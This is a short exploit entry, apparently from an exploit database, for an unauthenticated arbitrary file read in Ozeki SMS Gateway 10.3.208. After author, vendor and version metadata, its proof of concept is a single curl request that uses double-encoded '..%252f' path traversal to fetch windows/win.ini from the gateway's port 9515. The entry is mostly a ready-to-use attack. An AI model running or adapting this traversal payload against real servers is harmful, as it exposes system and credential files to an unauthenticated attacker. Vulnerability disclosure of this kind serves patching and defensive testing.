Ozeki SMS Gateway 10.3.208 – Arbitrary File Read (Unauthenticated)
# Exploit Title: Ozeki 10 SMS Gateway 10.3.208 - Arbitrary File Read (Unauthenticated) # Date: 01.08.2023 # Exploit Author: Ahmet Ümit BAYRAM # Vendor Homepage: https://ozeki-sms-gateway.com # Software Link: https://ozeki-sms-gateway.com/attachments/702/installwindows_1689352737_OzekiSMSGateway_10.3.208.zip # Version: 10.3.208 # Tested on: Windows 10 ##################################### Arbitrary File Read PoC ##################################### curl https://localhost:9515/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini ##################################### Arbitrary File Read PoC ##################################### |